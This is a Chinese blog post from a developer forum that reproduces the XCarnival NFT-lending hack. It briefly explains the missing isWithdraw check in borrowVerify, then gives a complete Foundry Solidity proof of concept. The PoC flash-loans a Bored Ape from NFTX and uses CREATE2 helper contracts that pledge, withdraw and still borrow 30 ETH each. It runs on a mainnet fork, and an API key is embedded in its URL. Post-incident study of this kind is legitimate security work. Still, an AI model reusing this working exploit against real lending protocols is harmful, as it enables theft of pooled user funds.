HACK Reply XCarnival

  • bixia1994
  • 更新于 2022-08-01 09:57
  • 阅读 2472

HACK Reply XCarnival

Ref

https://twitter.com/XCarnival_Lab/status/1541226298399653888 https://tools.blocksec.com/tx/eth/0x61a6a8936afab47a3f2750e1ea40ac63430a01dd4f53a933e1c25e737dd32b2f

Ana

好像是borrow函数的问题,抵押NFT借ETH => pledgeAndBorrow

image.png

image.png

如下的borrow函数写的有问题,权限没做好。

核心bug是borrowVerify里面没有校验order.isWithdraw, doTransferOut有callback,withdraw函数没有删除orderId,而只是更新了order.isWithdraw=true. doTransferOut的callback并不能直接使用,因为在call的过程中,它限制死了gasLimit:5000,所以没办法通过经典的receive方式来重入。

 if (underlying == ADDRESS_ETH) {
            (bool result, ) = account.call{value: amount, gas: transferEthGasCost}("");
            require(result, "Transfer of ETH failed");
        }

攻击者的思路跟我写的思路不是很一致,攻击者比较有钱,自己先去买了一个APE,而我这里使用了NFTX的闪电贷功能,贷出来了一个APE。但是我付出的成本也比攻击者高,需要给NFTX大约8个ETH的手续费。 ETH amount: 292688541555386643017 fee: 300-292.68=7.32 eth

POC

pragma solidity 0.8.12;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

contract Addrs is DSTest, stdCheats {
    address public constant XNFT = 0xb14B3b9682990ccC16F52eB04146C3ceAB01169A;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant XTOKEN = 0xB38707E31C813f832ef71c70731ed80B45b85b2d;
    address public constant controller =
        0xB7E2300E77D81336307E36Ce68D6909e43f4D38A;
    address public constant APE = 0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D;
    address public constant NFTX = 0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5;
    address public constant assetAddr =
        0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D;
    address public constant routerV2 =
        0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
}

interface RouterLike {
    function swapETHForExactTokens(uint256, address[] memory, address, uint256)
        external
        payable;
    function swapExactETHForTokens(uint256, address[] memory, address, uint256)
        external
        payable;
}

interface NFTXLike {
    function flashLoan(address, address, uint256, bytes memory) external;
    function redeemTo(uint256, uint256[] memory, address)
        external
        returns (uint256[] memory);
    function mintTo(uint256[] memory, uint256[] memory, address)
        external
        returns (uint256);
    function allHoldings() external view returns (uint256[] memory);
    function vaultFees()
        external
        view
        returns (uint256, uint256, uint256, uint256, uint256);
}

interface ERC20Like {
    function approve(address, uint256) external;
    function balanceOf(address) external view returns (uint256);
}

interface ERC721Like {
    function setApprovalForAll(address, bool) external;
    function safeTransferFrom(address, address, uint256) external;
    function transferFrom(address, address, uint256) external;
    function transfer(address, uint256) external;
}

interface XNFTLike {
    function pledgeAndBorrow(address, uint256, uint256, address, uint256)
        external;
    function withdrawNFT(uint256 orderId) external;
    function ordersOfOwnerByIndex(address, uint256)
        external
        view
        returns (uint256);
    function ordersOfOwnerOffset(address, uint256, uint256)
        external
        view
        returns (uint256[] memory);
}

interface XTOKENLike {
    function borrow(uint256, address, uint256) external;
    function totalCash() external view returns (uint256);
}

contract Hack is Addrs {
    uint256 public tokenId;
    uint256 public orderId;

    constructor() {
        ERC721Like(APE).setApprovalForAll(XNFT, true);
        ERC721Like(APE).setApprovalForAll(NFTX, true);
        ERC20Like(NFTX).approve(NFTX, type(uint256).max);
        ERC20Like(NFTX).approve(routerV2, type(uint256).max);
    }

    function start() public {
        /// flashloan NFTX token, redeem APE
        (,, uint256 _targetRedeemFee,,) = NFTXLike(NFTX).vaultFees();
        NFTXLike(NFTX).flashLoan(
            address(this), NFTX, 1 ether + _targetRedeemFee, ""
        );
        emit log_named_uint("ETH amount", address(this).balance);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    )
        external
        returns (bytes4)
    {
        return this.onERC721Received.selector;
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    )
        external
        returns (bytes32)
    {
        /// logic: redeem APE
        uint256[] memory ids = NFTXLike(NFTX).allHoldings();
        uint256[] memory specificIds = new uint256[](1);
        specificIds[0] = ids[0];
        tokenId = ids[0];
        NFTXLike(NFTX).redeemTo(1, specificIds, address(this));

        scheduler();
        /// mintTo Token
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;
        NFTXLike(NFTX).mintTo(specificIds, amounts, address(this));

        /// swap eth for tokens
        emit log_named_uint("amount", amount);
        emit log_named_uint("fee", fee);
        address[] memory path = new address[](2);
        path[1] = NFTX;
        path[0] = WETH;
        RouterLike(routerV2).swapETHForExactTokens{value: address(this).balance}(
            amount + fee - ERC20Like(NFTX).balanceOf(address(this)),
            path,
            address(this),
            block.timestamp
        );

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function scheduler() public {
        /// pledgeandborrow
        for (uint256 i = 0; i < 10; i++) {
            address helper = address(
                uint160(
                    uint256(
                        keccak256(
                            abi.encodePacked(
                                hex"ff", address(this), bytes32(i), keccak256(type(Helper).creationCode)
                            )
                        )
                    )
                )
            );
            ERC721Like(APE).transferFrom(address(this), helper, tokenId);
            new Helper{salt: bytes32(i)}();
        }
    }

    function borrow(uint256, address, uint256) public {}

    function withdraw() public {
        XNFTLike(XNFT).withdrawNFT(orderId);
    }

    receive() external payable {
        emit log_named_uint("ETH amount", msg.value);
    }
}

contract Helper is Addrs {
    constructor() {
        uint256 tokenId = Hack(payable(msg.sender)).tokenId();
        ERC721Like(APE).setApprovalForAll(XNFT, true);
        XNFTLike(XNFT).pledgeAndBorrow(APE, tokenId, 721, msg.sender, 0);
        uint256 orderId = XNFTLike(XNFT).ordersOfOwnerByIndex(address(this), 0);
        XNFTLike(XNFT).withdrawNFT(orderId);
        XTOKENLike(XTOKEN).borrow(orderId, address(this), 30 ether);
        payable(msg.sender).transfer(address(this).balance);
        ERC721Like(APE).transferFrom(address(this), msg.sender, tokenId);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    )
        external
        returns (bytes4)
    {
        return this.onERC721Received.selector;
    }
}

contract POC is Addrs {
    Vm public vm = Vm(HEVM_ADDRESS);
    Hack public hack;

    function setUp() public {
        vm.createSelectFork(
            "https://eth-mainnet.g.alchemy.com/v2/UoUd0f-yRJTSPKkSLInhilV7XDHHJLPK",
            15028847
        );
        hack = new Hack();
        vm.label(NFTX, "NFTX");
        vm.label(APE, "APE");
        vm.label(XNFT, "XNFT");
        vm.label(XTOKEN, "XTOKEN");
        vm.label(routerV2, "routerV2");
    }

    function test_Start() public {
        hack.start();
    }
}
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code